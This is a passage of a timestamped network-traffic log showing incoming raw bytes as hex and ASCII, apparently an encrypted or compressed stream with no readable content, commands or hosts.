2023-07-18 15:27:09 UTC	80	IN	Data Raw: 9a aa cc 01 c5 ff a6 7e 61 01 c5 17 ce f9 55 5b 1c d7 7e 92 7c e3 74 7c 2b 27 85 2c 0a 71 03 e3 6b 0c 28 c6 be 24 f2 8a 8f 30 6c aa c2 e6 8e 79 fe 9c 6d ff c3 37 b1 a0 32 0d 0c ff f8 d3 fe 20 e1 b1 0a 5a f8 11 a9 60 8f 7f 9f 57 17 0f 49 1e f9 27 0e 25 ee e3 a1 e8 ce 7a e1 cd 6d 8c 05 53 3f d5 32 a2 2b c3 c7 ef c3 f5 b9 bb e9 58 38 7f 0d de 40 71 3c 0c bf 5d 5a 29 f2 ff bd 8b 81 22 6b 71 6d 6d 3d cc 0c 82 e0 d2 15 40 a6 5b 26 22 6f 52 c9 e1 cf 30 9e 30 04 81 84 01 32 8f 44 4a 72 eb 73 a1 64 00 a8 06 de 1f d3 c0 be 2b 67 98 a2 83 55 08 a1 4b 08 d3 0d a9 5b 58 6c f6 46 ba 26 d6 30 03 1e 5f 99 21 e8 ab b5 81 1f aa 70 d9 6b 9f cd f1 84 94 a8 29 f5 7e b5 4f 67 1b 1a 44 23 06 a8 50 d2 c0 d8 50 de 9a f1 dc e6 59 52 96 ab 1d e8 39 26 bf 77 29 2a 4c 9c 1d 6f b5 dc Data Ascii: ~aU[~\|t\|+',qk($0lym72 Z`WI'%zmS?2+X8@q<]Z)"kqmm=@[&"oR002DJrsd+gUK[XlF&0_!pk)~OgD#PPYR9&w)*Lo
2023-07-18 15:27:09 UTC	96	IN	Data Raw: 72 6c 3e 14 e8 41 8d 9a ac ef 8f 98 2b 1f 34 28 29 c5 26 61 f1 e1 4c 40 c2 f7 08 50 7f 72 e5 1c fb 07 33 4b dc 1b 01 16 a2 5c 2d b8 36 6d 1e 43 d6 a8 14 66 9f 44 6b 4a 50 66 02 27 8b e3 b0 4b 7d ee ad 80 b5 53 78 d2 71 e5 03 da eb 72 6a f4 81 c9 5b 68 43 17 69 cb 67 e7 8e 37 3b 08 d7 80 39 ff 40 02 e2 84 f5 da e2 70 28 d8 72 13 bb 1c a7 87 89 82 b0 e5 58 de 65 f2 f8 ae 21 a2 2b 22 67 3b a4 7e 76 a9 e9 d6 40 e3 4f 2b 69 2b 9d 60 32 81 f4 04 02 94 dd 51 42 a0 b0 34 5d 99 6d e7 02 07 29 b3 20 b1 5e 8c cc 0b ea 2f c6 95 bf cf 48 dc 64 f6 9c 21 e9 5d 23 6c 62 e3 96 f8 34 83 7b 34 41 5a dd 80 58 08 e5 3b f2 1c d4 1e c7 e6 bb b4 7f d0 87 2f 99 63 cb 5f 1f 45 28 ae f6 75 75 6a f2 1c c8 35 16 25 76 67 ac 0a 1d c3 12 bc 8d 54 3b f7 3c eb 7d 81 ec 81 f5 1c 02 27 b7 Data Ascii: rl>A+4()&aL@Pr3K\-6mCfDkJPf'K}Sxqrj[hCig7;9@p(rXe!+"g;~v@O+i+`2QB4]m) ^/Hd!]#lb4{4AZX;/c_E(uuj5%vgT;<}'
2023-07-18 15:27:09 UTC	112	IN	Data Raw: 4f 3a 0c b1 49 33 5a fa aa cc 61 0d 18 67 89 4c 45 2a a4 bc a9 d8 fe 2c 00 43 53 a5 bb e5 56 08 0f 2b a7 57 cc a1 60 19 ed 3e a3 3a 4c e9 fd 50 a2 93 e1 28 8b ef 41 dc da 97 22 ab 0a d0 db b8 d3 fa 44 e3 e5 11 40 8b 0a 1e 6b 8a 6a 36 06 18 58 3f 24 9f 2a 55 80 31 9a 3c 73 b3 0a 87 fe 78 de 5d 19 f0 08 b7 f3 95 b9 82 7f 3d 3e cc 04 aa e8 df 08 10 e3 fc c9 b9 da 15 ed 6f 6b 37 2a 64 65 b9 f4 c7 26 fc 72 45 85 c4 1f 83 fc c4 e7 77 73 ac 92 3e 88 d0 19 0b 8f f4 aa 0b f6 6e d9 54 f2 13 12 b1 df 97 d8 bc b8 d9 a2 68 18 7a ae f8 35 5b 56 b0 ab 0c 3b 01 4d d7 4b 07 78 6c f8 91 79 04 aa fb 48 e8 97 0a c4 ad d3 60 69 b5 dc 0a e7 78 5d 9c 94 fd 48 21 10 51 fb 1b 20 ba 14 bf 6d 76 5c 8a 65 60 e9 91 9d 42 8d e2 b0 44 2b 0f 5e c0 f6 0a 57 59 2e 96 5b 08 71 c3 dc 5a 63 Data Ascii: O:I3ZagLE,CSV+W`>:LP(A"D@kj6X?$U1<sx]=>ok7*de&rEws>nThz5[V;MKxlyH`ix]H!Q mv\e`BD+^WY.[qZc
2023-07-18 15:27:09 UTC	128	IN	Data Raw: 5f 1a 28 19 ed b5 d0 d8 f0 54 36 bd 54 44 a5 9d be ad 90 9e bb 85 64 79 3e e6 c9 1a f6 a5 9b 92 55 8c 3c 64 6b 85 ff f5 df 28 a8 c5 25 e9 4b 1e 29 17 39 6f 4e 35 d7 99 c2 80 fc 2f 33 21 a8 9b 26 6a db 0f 88 de f8 92 91 5b 38 6a 33 5b fa 88 91 dd 54 61 6a 9e db b3 ca c9 92 12 b8 bb 63 5c c5 d5 0d d2 f6 fa 10 7d 5b b9 95 ec e8 08 6a 94 2d 57 de f4 ea 3e fe fa 55 0c 23 c1 20 34 6e 4a f5 c8 2f c4 ea e1 70 50 2c e1 4a ad b7 68 98 b8 1c 81 69 16 dd 68 e9 ac 70 3a 3d 7d 4a fd 48 80 f3 e1 55 32 d3 0f cc e2 79 24 a0 4c 54 10 c8 81 e4 28 93 a4 ac d3 9c f0 03 96 25 8e 8e d6 87 27 e5 fe 81 f9 80 ff ac 8c e3 7b a0 53 51 61 6e d0 31 51 cf 3e 64 fc 0f ca 26 80 fa 26 ee 42 60 30 9c af 2d fd f2 92 52 fb 64 25 ad ad 5c b7 eb 71 5a e3 10 69 3f 16 3a 99 78 95 47 4a 47 e4 45 Data Ascii: _(T6TDdy>U<dk(%K)9oN5/3!&j[8j3[Tajc\}[j-W>U# 4nJ/pP,Jhihp:=}JHU2y$LT(%'{SQan1Q>d&&B`0-Rd%\qZi?:xGJGE
2023-07-18 15:27:09 UTC	144	IN	Data Raw: d1 f0 a2 3d 03 e2 11 ac 64 e9 3c ab 75 ba 5a 30 f8 5b c1 24 8c 38 7c a9 15 c5 28 68 1f 48 85 4f 37 f3 42 54 fb 71 fd 55 83 6f 36 02 b8 63 eb 49 06 11 38 a2 f7 6d 97 10 fb 8a 5e 39 5e 5e 7f d2 60 05 6e 60 bf 61 f8 a9 c9 5a c1 d3 49 98 43 30 36 fc a5 6c 07 ef d8 60 84 23 bf b8 00 6e e3 5b 10 61 5c 75 1d 2d 4c 83 02 28 6b 01 46 6c 24 2e 69 cc 6e 62 52 d3 e4 8c 56 e2 5d 46 5a 1b aa 83 79 bc ca b8 ae ac bd 38 0c c7 b0 fc 9f 8b c2 3b 9d cc 6f 01 09 ee 31 d2 d7 ca 2a 5f 6c a8 6d dc 2b e4 ee 63 3d 00 61 e4 46 12 a8 e7 1d 71 b6 a3 90 3c a0 ac 92 0a f3 d6 18 db ca c7 2e f5 6c 21 2f 90 d8 10 5d 87 be c7 ec 9f 4a df 32 87 8e 29 e9 0e ca f6 83 9f e1 b7 2e 3c 68 24 3a c5 2a 51 05 49 14 c9 28 c3 30 86 fe 4b e4 35 dd 7c 39 e6 f8 24 0f f5 0b 14 80 c0 cc b4 cd 18 f1 8d fc Data Ascii: =d<uZ0[$8\|(hHO7BTqUo6cI8m^9^^`n`aZIC06l`#n[a\u-L(kFl$.inbRV]FZy8;o1_lm+c=aFq<.l!/]J2).<h$:QI(0K5\|9$
2023-07-18 15:27:09 UTC	160	IN	Data Raw: f9 1a 17 4e d0 51 b4 10 49 aa e5 68 71 63 ad 44 7c 87 cd eb 13 41 09 fd e4 e2 fd 64 6a cf b0 72 13 4e 75 45 50 af 43 f2 b1 8f 36 c1 08 9c 12 75 18 1c 67 2a d8 a6 38 e0 29 f7 a2 09 8b d6 97 b2 d5 6b 17 7a 96 fc 63 22 db 9d 40 a9 1e 14 fc 2c 6b d7 ee 4e a7 6d 9a e3 c0 90 b3 dd 97 05 d5 0e 2b 25 5c 29 fd 41 5c d1 75 f7 63 0f a5 0b b3 e4 56 1e 57 b1 88 99 94 ef 43 c9 98 06 85 b7 93 83 21 f0 1b 00 8f 1d ac 16 f2 63 61 8a a4 64 a1 bd 2d c6 1d 26 7b 2f 96 49 32 c4 7d ec 7f e9 fa fe 23 0e 4d 9d 8e ea 84 3b 54 aa 7d a2 01 1f b7 e0 20 0f 1a 43 d3 e9 61 fb 8f 8f 88 6f 0f 4d b6 88 97 b1 9a 9e 57 c6 c6 a6 a0 55 52 44 7b 7d b5 68 39 81 e0 5d da fb de f8 f6 db b9 47 22 02 a8 3a f9 04 36 ed 48 cc a9 04 e8 ae 2f ba e0 2a 0f be 06 b9 92 3c 90 21 a8 a6 94 c9 e9 21 51 03 f2 Data Ascii: NQIhqcD\|AdjrNuEPC6ug8)kzc"@,kNm+%\)A\ucVWC!cad-&{/I2}#M;T} CaoMWURD{}h9]G":6H/<!!Q
2023-07-18 15:27:09 UTC	176	IN	Data Raw: d3 eb 25 f7 bb 83 c1 d9 22 52 90 62 6d 0e fd da 73 6e e5 ec 10 1c 18 f9 00 6e cd 20 e6 b2 50 02 cb 7a ab 5d ac bc c2 98 bc 70 56 ae bc 03 34 b5 63 b8 43 8a 5a d7 3e 91 2a b7 4b 55 b2 71 ca af 6b 90 43 b8 66 95 69 f9 7c 44 47 2d 88 23 c9 b0 6b e3 be e1 f0 3f 34 25 9b de 73 51 a3 7a fb 5b 7c 5b d6 84 cb 2c 9a 18 fd 85 96 8a 6a 8a 8d 18 c4 6d 8f 75 01 e1 e5 f2 52 5f 55 44 85 1d 2a 27 a7 09 34 c4 24 d6 e4 b7 39 f1 e3 db 70 ef 60 38 24 2e 6f f7 a5 80 85 96 80 26 6a b6 6d 26 a8 71 73 96 9e 33 c3 ab 4d 9a 4f 11 c3 26 9a 1f 32 99 3b 98 ca a4 56 e9 25 59 0b 8c 61 a4 3b e9 a9 b3 1f 7b 0f 1f 57 ee f9 20 fd 6b cc 7c 29 c6 6f a4 31 72 5e 01 5f 51 31 2c 15 11 64 aa c2 ad cf 58 2f f2 3f e2 c2 7c e3 cf 62 24 fa 42 56 ee a6 46 c1 f2 4c fe cf 5a e1 be 1e a2 3d d4 58 e9 f2 Data Ascii: %"Rbmsnn Pz]pV4cCZ>KUqkCfi\|DG-#k?4%sQz[\|[,jmuR_UD'4$9p`8$.o&jm&qs3MO&2;V%Ya;{W k\|)o1r^_Q1,dX/?\|b$BVFLZ=X
2023-07-18 15:27:10 UTC	192	IN	Data Raw: 8a 79 32 df 1d 4a b7 37 ee b8 0b 68 21 9c fa 3d 8a 0b df ec 10 71 9c 1b 37 c4 d2 bb fc ec a5 53 2b 65 ef 2a 1a c4 96 b5 5a 98 f1 b9 66 5a 5f 0c 19 84 6e 1d 8a 44 97 9c 8a 56 28 46 dd e1 04 5c ff 78 d0 c0 ef 4e 4b 5a f3 9a e0 5c e4 db 2c d0 3f 6a 70 2b 5f 11 a5 0d 57 e9 36 c4 2b 48 fa 16 fa 7d a2 ec 90 b7 1f 54 49 9d 33 2d ed 0d 58 37 6f 4c 75 67 fc b8 f2 c4 f6 ec 36 ab 38 a2 87 ed 68 d3 00 e1 01 7e 8b 66 c6 ac 55 5a fb 65 d5 23 9d 64 a4 d7 c7 35 3a ce fe dd f2 e5 84 7f ad 11 6e 78 04 29 de 75 0f 6c b4 5a 97 7b d5 5e dd 20 32 13 87 71 ee 20 ee 97 0c 40 07 37 31 01 f0 75 20 98 e7 9f 4b 1e 88 f9 9f 4a fb 86 ac ff c3 27 3d e6 e2 dc e3 56 92 b0 c5 97 7d bc 34 6a a2 e2 ee e5 89 f9 dc 9e 74 7b 18 15 1b f1 f2 62 7c be 08 eb 6d 4b cd cb a2 8a 13 dc 51 ac f1 20 2c Data Ascii: y2J7h!=q7S+e*ZfZ_nDV(F\xNKZ\,?jp+_W6+H}TI3-X7oLug68h~fUZe#d5:nx)ulZ{^ 2q @71u KJ'=V}4jt{b\|mKQ ,
2023-07-18 15:27:10 UTC	208	IN	Data Raw: 6d 18 cb 32 37 e2 c8 2d b3 13 f1 8c 5b f1 fe 69 2e c5 63 56 1c 44 6c 2b f6 18 ce 73 4a 26 39 11 7e 5c 6d 18 60 7b 53 55 a2 b6 66 85 c3 ae 12 c0 0c 8a 7d 65 79 c4 42 74 40 24 dc f4 24 9f 31 57 1c e0 ae 67 be 58 5f 54 f5 52 ec 0e 6c d2 92 b6 87 01 e2 71 89 40 3b 7f 79 cf 7e d0 28 3c 83 2f a3 53 04 15 6d 52 9b 2f cc 16 34 63 f5 4a cf 0f 36 09 33 19 80 84 fb fe 95 a7 09 d9 e0 1a e7 88 e6 dd 7e 8f 0d d4 1d 7c be 39 c5 02 51 f5 ed 65 96 d5 95 87 82 ce 27 9e 97 e5 c5 04 16 d5 3e b1 42 fa f6 2b 51 78 6a fd b6 af 43 6e 6b d7 11 da e8 19 9f d4 eb a9 12 24 5e d4 d3 11 83 71 98 ae ba 94 2f c4 52 e6 de 5d 50 56 d8 12 00 28 67 94 a2 2c bb c5 a3 d8 ee 12 db f3 30 06 e9 60 eb 01 dd a9 45 e9 59 4b cc 4e 08 6e 04 b9 18 bc 60 4d 0a 21 98 85 31 22 41 45 69 c1 0c fd d9 e6 09 Data Ascii: m27-[i.cVDl+sJ&9~\m`{SUf}eyBt@$$1WgX_TRlq@;y~(</SmR/4cJ63~\|9Qe'>B+QxjCnk$^q/R]PV(g,0`EYKNn`M!1"AEi
2023-07-18 15:27:10 UTC	224	IN	Data Raw: e8 38 79 e9 bc 6c 20 2a c4 6d 89 c2 06 2f bf af 6f e0 4f 9b 7f 77 0c fa 3d 49 93 c3 b2 3b 4e 9b ec ce 8b 43 57 b8 d4 6b 68 53 df 0c d9 84 c9 56 f9 e6 b0 6a f5 12 fb a8 a6 f4 4a 5d ff 03 75 9f 44 89 37 11 db d7 e0 36 c2 27 78 8d a0 05 b6 0a 58 cf 37 5e e5 0e a2 ea 55 a4 93 68 52 f8 01 f9 7c 81 32 a7 97 bf d0 3b a7 85 51 c4 24 ad f7 eb bc 5e 69 a8 db 4d af 96 5a ca b8 07 86 1c 1e 70 83 2f 72 8c bc 93 e5 c3 c9 40 de c6 36 e3 ce da be 3e da aa 8a 95 dc 7f 3b ba 41 97 f3 35 c2 48 25 58 5e d3 85 b2 de 7b 9a e6 d2 b4 33 cf 13 f8 51 24 d7 05 d8 a8 46 60 6f 78 d1 03 c9 f8 22 97 c7 6a 22 4d 9d 03 76 1f 9a 6a 88 0b b0 6e 03 8b 11 76 02 2d 1f e7 ea ea 3d 73 a1 af 04 68 ca e8 d7 8f 35 78 59 3f fd 3a 04 f1 e2 40 cd 79 53 d8 4f fa 70 9c 66 42 0e 18 d3 d4 1a e0 9d 15 18 Data Ascii: 8yl *m/oOw=I;NCWkhSVjJ]uD76'xX7^UhR\|2;Q$^iMZp/r@6>;A5H%X^{3Q$F`ox"j"Mvjnv-=sh5xY?:@ySOpfB
2023-07-18 15:27:10 UTC	240	IN	Data Raw: f2 b7 ae 5b c4 9c d3 48 db 2a 75 da bc 14 f1 e6 0b 27 41 10 f8 d5 c9 99 c4 38 06 6c 18 06 38 1c cf 04 17 ec c4 29 4c 6a 30 ac a9 34 cc cf b2 13 da 77 7c de 1b e3 28 38 84 e1 71 36 1f 86 4e 90 60 4d c6 e6 fd 15 1a 53 76 85 fb b9 68 b9 fa 93 27 b0 7d 0f 70 46 38 a2 c9 7c 2f d6 f1 bd 33 1f 44 e9 d5 2c f3 2b c0 56 2c f2 53 96 2b 98 42 ea 9a 33 45 71 e4 5d be f4 a0 97 58 05 39 82 5c 8f 55 7e 83 96 b7 27 88 27 0c ae 85 f0 d2 71 c2 b1 dd ed 81 92 58 18 e2 8c 65 de 9d f6 49 6f 94 61 40 91 d5 17 ae d9 57 eb c5 d0 62 30 c0 81 3f 91 f5 b1 0c a0 59 3d 1e 12 fc b2 17 70 ec d7 ea a3 54 a2 ba b6 d4 29 15 43 fc 82 da d5 27 f0 9e 1e 1d 1d 41 80 8a 31 f8 b7 23 d5 c8 5a 8c 93 02 bd 00 c8 ca dd ee e1 82 e2 92 7d 00 94 b8 4a 77 21 b9 3e 20 d7 20 82 23 8e ae 86 9d 50 2f f8 e7 Data Ascii: [H*u'A8l8)Lj04w\|(8q6N`MSvh'}pF8\|/3D,+V,S+B3Eq]X9\U~''qXeIoa@Wb0?Y=pT)C'A1#Z}Jw!> #P/
2023-07-18 15:27:10 UTC	256	IN	Data Raw: e0 4e bd 14 9c b9 96 ff 6b ce c3 9c b8 3f 1c 15 a6 40 97 c9 43 5f 3d c7 94 29 12 fe 1b 42 2d 79 7f 88 a3 4a 75 75 33 c0 2e a7 52 65 2c 12 23 b9 ca b5 3e 60 76 1d c1 c6 fa 11 08 6b 68 ea 3e 69 eb 81 74 a1 7b 8a ad 8d e8 b4 87 51 39 dd 26 3e e0 ce 06 75 38 ce 2f 01 64 b9 2f d8 c1 2a c5 22 fc fa 8d 17 01 d8 99 29 93 6e a0 80 aa 78 e9 b4 08 36 2a 92 24 49 ac 5f c9 5a 09 5c c7 c3 07 e1 65 c5 33 8c 77 88 5d 03 64 fa 36 45 8d 24 0a 41 17 e0 e9 2f 4f ad f7 f1 e3 0b f8 92 0f b7 2e 90 65 63 f2 99 2e fc 3f c9 4b d0 46 46 aa 16 f9 e1 e6 f2 cd 66 dd 9a 95 f8 ec 36 98 8d fb 17 02 1e 24 24 1f ff ee 72 12 3a c4 5b c4 ba 72 f8 d3 81 fc 0e 6f 2c 5b 6f fc cd 26 5c 23 b5 95 4c 5f ab cd 93 22 49 62 e9 da d5 e8 b2 29 78 02 05 e8 74 a0 93 7a d2 f9 0f e4 1f 1c e9 86 b2 34 fc cf Data Ascii: Nk?@C_=)B-yJuu3.Re,#>`vkh>it{Q9&>u8/d/")nx6$I_Z\e3w]d6E$A/O.ec.?KFFf6$$r:[ro,[o&\#L_"Ib)xtz4
2023-07-18 15:27:10 UTC	272	IN	Data Raw: 47 73 d3 26 cf 27 e1 cf 44 45 0b c5 a1 b2 d9 bb eb b1 01 43 d4 20 08 0e 26 07 af 4d 6d d9 16 93 af 17 5c 17 28 32 9a 2b 33 34 27 1c 4f 0f bc 09 22 aa 0e fd 73 70 92 dd e1 61 48 bb 6c 2c 1a 1f b7 79 13 bb 7c 3a 35 98 c6 ee 54 28 99 1b 34 86 3e e6 90 96 0f 2f 36 61 81 12 af 66 c0 2e 70 69 e2 9e b1 1f 7e 11 26 25 3b d1 1e 28 39 80 e3 b2 76 c9 8d 29 5b b3 22 9a e0 ff e6 f7 4b 0a 08 37 5e 7e a0 e6 3e 23 1f a2 13 c1 3b 66 30 33 5d 64 40 a3 2e 5d 79 3f 74 17 ca f6 43 11 e4 27 40 c5 ca 1f 45 d0 5c 88 f1 5c 3d 12 2c cb 73 6f 13 b8 50 e3 7d 77 2b 95 f7 8f a7 a9 62 08 d8 9a 8a fa 14 b6 21 55 59 db 83 84 c1 c5 4a 39 57 71 be 55 07 24 3d e9 fc be e1 47 1c ec 5e 17 8a da 57 36 2b 13 6f 9a 57 0b 36 e4 8a 41 43 16 dc bd 40 68 0c ce 87 6d d8 38 ac 58 75 2f 01 da c2 e5 97 Data Ascii: Gs&'DEC &Mm\(2+34'O"spaHl,y\|:5T(4>/6af.pi~&%;(9v)["K7^~>#;f03]d@.]y?tC'@E\\=,soP}w+b!UYJ9WqU$=G^W6+oW6AC@hm8Xu/
2023-07-18 15:27:10 UTC	288	IN	Data Raw: f9 7c a5 30 15 3e d9 03 cb 91 c2 78 42 f5 42 0c e1 e9 db 5d f2 66 b8 6b d8 5b ca d0 dd 8a da f8 5f 04 fc 3e 68 a4 71 ab f2 24 ce eb 8f 71 d5 f9 b5 72 14 a0 06 91 6e 15 32 59 13 be db 43 92 9c 65 29 62 68 74 40 b8 a6 ac 6d 2a 0e 3b b8 a5 78 e2 15 80 b1 4e eb 6c a0 6a 70 de 84 24 4c ea 38 a9 dc 40 9a 0f 17 99 e1 8c d3 75 1f d8 c3 59 07 ee 03 a5 0c b6 38 7c e1 a4 9f c6 75 a0 4c da 94 82 69 65 2a 6f 9c a9 55 ef da 66 0e 2e d1 c7 b5 e8 28 a2 cc f1 1d f6 89 49 af 1e 8b a5 0b 3b 0c 77 31 06 d3 8f 9d a3 e4 6b 7f fb 74 b2 1b e0 5d 44 17 b5 df b2 41 d4 92 61 b6 34 4b 39 8d 18 7c 02 a6 55 d5 44 43 bb db c6 92 c7 8a 18 a2 43 6e 99 ea 39 a9 f0 b2 54 bd a3 47 d0 fa 35 2b 53 80 70 2f 7d 5c 68 30 3c 3a dc 30 0d e9 dc 1d 57 63 c5 ad f9 3a 72 27 96 89 c2 ff 69 bc 05 70 05 Data Ascii: \|0>xBB]fk[_>hq$qrn2YCe)bht@m;xNljp$L8@uY8\|uLieoUf.(I;w1kt]DAa4K9\|UDCCn9TG5+Sp/}\h0<:0Wc:r'ip
2023-07-18 15:27:10 UTC	304	IN	Data Raw: 63 6c 4c 1d 79 7f eb ee a9 2f 36 c0 90 51 a2 f0 fb 9b b9 d0 37 15 c0 5c 25 cb e1 42 a5 7e 67 31 34 f7 e3 08 4b b0 3c 6a 64 4b a1 66 b2 1a 14 ab 3b 11 8e 95 30 0e 25 9e 10 0e 7f 7b d7 30 75 b7 e8 9d 26 0e 2a d8 45 79 59 98 4c b9 e7 ff ef 74 3b 6e 97 36 e3 4f 71 04 3c cd 95 89 b0 4d 20 53 cb fb 2f 05 14 d6 f2 49 57 a3 9c b2 05 99 da 82 ae af 33 a4 6b 10 0e 61 28 51 71 c1 f6 99 6c 18 8b 6e b6 93 24 56 65 86 9c 89 2a 26 d6 50 96 7e 67 62 60 b1 b5 0d 27 e4 88 a3 22 23 31 76 47 23 cd 06 8d 10 03 7c 59 0d bb ed eb fa f4 ba 90 5c 85 0a 69 12 11 96 01 95 c5 cb fb 75 3f 74 d1 b1 71 50 6c 82 64 39 ba 75 6b fa 3f 50 f3 aa fd ae 60 0e 13 9a 4b 92 ef 2f 20 32 40 72 79 dd e3 36 49 89 f3 af 74 c4 f0 60 d7 f1 f1 cc 86 ae 91 b1 13 af 5a c1 73 7c 82 de aa 9c d4 1d b3 ae e6 Data Ascii: clLy/6Q7\%B~g14K<jdKf;0%{0u&EyYLt;n6Oq<M S/IW3ka(Qqln$Ve&P~gb`'"#1vG#\|Y\iu?tqPld9uk?P`K/ 2@ry6It`Zs\|
2023-07-18 15:27:10 UTC	320	IN	Data Raw: 23 84 2a bf 98 1f 04 be b2 87 61 08 58 4d c2 8c d8 a5 76 f7 69 f6 09 08 a8 89 09 4e 40 82 8c d1 9d 8d 27 26 9d 2f 50 b0 14 34 a1 41 0e 28 3f 4e 2e 01 bf c4 e6 f1 07 1f d3 90 09 2e a3 d3 f0 22 ae 0b ee 13 dc 9b 50 5a 58 6e b3 c6 64 cd ef 53 ae 5d a3 0d e2 37 9f c1 88 45 45 d9 6a 3f 7b 85 76 e2 46 82 32 2e 67 73 14 16 63 71 d5 62 f9 20 83 ec 12 d1 f7 ec 6e 42 b8 ee ac 1e ea 89 07 2e 9b f6 d9 a6 f7 ae 18 0f e9 15 33 00 c3 20 52 10 98 45 62 28 ab a2 00 f5 93 c6 d6 ac dc 37 21 63 27 81 60 8e 36 de 51 58 42 b7 24 a5 58 c7 a7 e0 f1 58 16 70 dd 18 ee 2a fc 15 2a 54 8a de 7d 37 7e 65 a6 a3 5f 86 5c 7b 19 21 dd 49 8c ae d5 5b 63 7f f0 f4 5f 69 60 93 f3 c1 4c 66 74 6c 90 1e c5 3c e1 65 20 7d fc 7a c0 07 72 d3 d7 d7 7c 22 e5 75 0c 1e cd 11 eb 56 ad 3d b2 f1 b5 a0 5b Data Ascii: #aXMviN@'&/P4A(?N.."PZXndS]7EEj?{vF2.gscqb nB.3 REb(7!c'`6QXB$XXp*T}7~e_\{!I[c_i`Lftl<e }zr\|"uV=[
2023-07-18 15:27:10 UTC	336	IN	Data Raw: e5 b2 6f 39 d8 97 ae 7e e3 bd a6 f3 d7 85 f1 c2 a5 df 28 59 38 8e cb c0 96 df 09 1c 3e 69 e3 03 be d2 5b 38 07 0b 38 ec 5d 59 68 0b a6 7e 20 a2 76 f2 f4 ef 59 ad 33 35 ff ab 94 7e bb 85 86 f1 20 8d 8d 7c 4e 44 6d ef 9e 25 68 b6 b1 5b fa 26 46 68 d0 61 14 6a 8b 03 c9 db 50 ba e1 6a 77 0c 98 a1 9f b0 07 fa 86 26 09 1a b8 e8 f0 bb 5c 16 78 24 0f be d1 0d a8 6a b8 15 fa 21 17 50 f1 cc 6a 9d ab 82 e1 2f 58 2e 33 11 54 f4 de e4 9e 84 3e 2e c2 47 7a 89 1d ea f2 b8 d2 74 53 0e 8c 60 f5 81 ed 38 1b 17 e4 5e 07 b2 93 d0 10 8b 64 eb 6f ca 18 89 8f cd c1 2a 51 bb cd 11 d7 a4 36 b4 a8 0c d8 96 63 be f3 b8 0b 0e 79 a9 ad 41 d1 41 69 a3 62 fa 67 49 60 ed 3d 93 5b 2b ec e3 09 33 c9 da 91 5a 11 c3 5e b2 ca dd 85 d2 37 b7 58 3c 81 37 da be 07 40 29 8f 81 08 9a e4 23 6b 5d Data Ascii: o9~(Y8>i[88]Yh~ vY35~ \|NDm%h[&FhajPjw&\x$j!Pj/X.3T>.GztS`8^do*Q6cyAAibgI`=[+3Z^7X<7@)#k]
2023-07-18 15:27:10 UTC	352	IN	Data Raw: d1 a6 02 7d b3 e0 56 6f 71 4c fc 1a 0f 27 3d 72 37 1e 3d 57 1e 0d e4 12 e0 16 78 f6 e6 14 5c 59 a2 2a e8 ab ae 05 03 c7 19 0a 32 be 64 f4 0e fd bd cc 1d c5 fe f7 45 13 49 bf ec 24 56 8d 69 5a 8f a3 b4 c2 51 a4 40 dc 13 9a a7 99 e6 d7 e2 b8 25 61 c2 27 e3 de 02 2e 85 30 08 19 a3 1c 3a d4 28 e4 5f 11 48 1f 9c 0e cd 1b 70 a7 2a d6 02 cd d8 e2 44 74 12 8f a5 b0 5a 91 a3 ee d4 ca 66 60 fb f2 57 1a df fa f5 43 1c c8 38 82 fd 63 16 56 63 38 7c 7a 81 4a ee de e2 c0 66 bf 9a e4 bf 33 14 3c c1 9c 2e 1c 6e 89 3c 7f a4 46 44 26 ab 25 b6 c5 5c d3 f1 07 d1 8d 23 21 b3 c4 7b 04 6b eb ff 56 8b bc 4c f3 0d 9b e9 4e f9 58 bd e5 4f 79 4f da 27 65 8e 67 f6 2b ab ea ff 05 2d fa 6d 1a 21 25 88 34 cc c6 88 70 2a be 80 5a aa 3d 31 91 11 5b 87 9e 49 12 90 61 a9 fb 4e 86 19 0e 15 Data Ascii: }VoqL'=r7=Wx\Y2dEI$ViZQ@%a'.0:(_HpDtZf`WC8cVc8\|zJf3<.n<FD&%\#!{kVLNXOyO'eg+-m!%4p*Z=1[IaN
2023-07-18 15:27:10 UTC	368	IN	Data Raw: ef 2b 16 43 36 c1 fc 88 6b da f7 e2 3d 91 25 09 79 e7 09 03 39 d9 b9 4c 47 81 2d 0a dd e8 2e 8e d9 c4 8c 53 2d b9 19 55 a9 ad f1 01 50 8f 8f 16 78 76 95 37 75 e9 a8 7a d2 93 85 40 3b 8d f1 60 3e 0d 31 e6 c2 22 7d b2 80 fd 8e 13 c3 f9 1b 45 e1 63 13 e4 67 13 66 a0 d5 35 ad 73 da 7b 62 f6 4a 95 b9 b1 c5 5f 7a 32 cf c6 7d 60 55 c6 b5 07 61 d2 28 34 6c f1 60 5f 1a 06 58 b4 52 84 7a fe 00 7b e3 3f b8 3b e8 6b 80 62 a9 2d d6 3c 8f f8 8d 25 49 20 c0 be 0c e3 55 fb 3a d2 71 28 fe ce 20 4c 08 08 23 4f c8 a6 84 54 6f c3 2a be c7 40 16 b6 42 f5 b3 2b 4a 5a b5 32 6c 69 0f b6 3c cf dc ee 24 bc 4d 08 cf 5b 3d d0 62 75 6f dc ec 7e 9d 9e 63 7c 1f 55 d1 03 d4 9e 7c b8 4a d1 02 11 4f a0 59 ef 60 9b b3 0e a8 57 46 e0 12 c9 63 96 5a 5e 23 c6 06 f1 f6 50 d9 7f 15 74 6a 84 51 Data Ascii: +C6k=%y9LG-.S-UPxv7uz@;`>1"}Ecgf5s{bJ_z2}`Ua(4l`_XRz{?;kb-<%I U:q( L#OTo*@B+JZ2li<$M[=buo~c\|U\|JOY`WFcZ^#PtjQ
2023-07-18 15:27:10 UTC	384	IN	Data Raw: 36 31 d9 b4 ba 90 70 1e fe ad 3f 9f 60 74 95 3e c9 97 d7 a7 f4 82 00 87 a4 43 91 c0 1a a9 8c 72 dc fa d5 7c 57 f6 55 5e 46 aa b1 7f 4c 9a de 06 1c db 21 1c 27 22 22 52 57 e0 d0 7b 72 d0 55 b3 ed 43 af 8c 74 64 44 22 fd bf b6 66 4a 56 97 c2 ee ca 9f 57 8d a3 12 a6 32 14 e3 d2 0f b1 36 31 b2 14 33 f9 61 1c b5 a7 1f 9b cf e6 f2 90 73 5c 6d ed c3 47 e9 a4 cd bc 5a 81 2f f6 58 5e 79 27 04 e4 ed fb 95 f8 bb 6a ac b4 9b ed b6 68 4f 29 57 64 ee b3 7b c9 4a f8 64 bb 39 ec c7 fe d0 af 0d fd fc 19 d1 a3 f6 79 5b d8 95 81 df 1e 37 37 51 64 75 12 1d 46 60 52 50 ca cb 46 3d a5 0b eb 6b 5e 29 17 2f e1 19 f6 b9 ef ee b9 fb 80 77 5d a2 92 02 f8 be e7 98 46 28 45 70 2e 2e 50 05 e1 c8 1d da 1b d0 1a 9b aa ec 55 f9 93 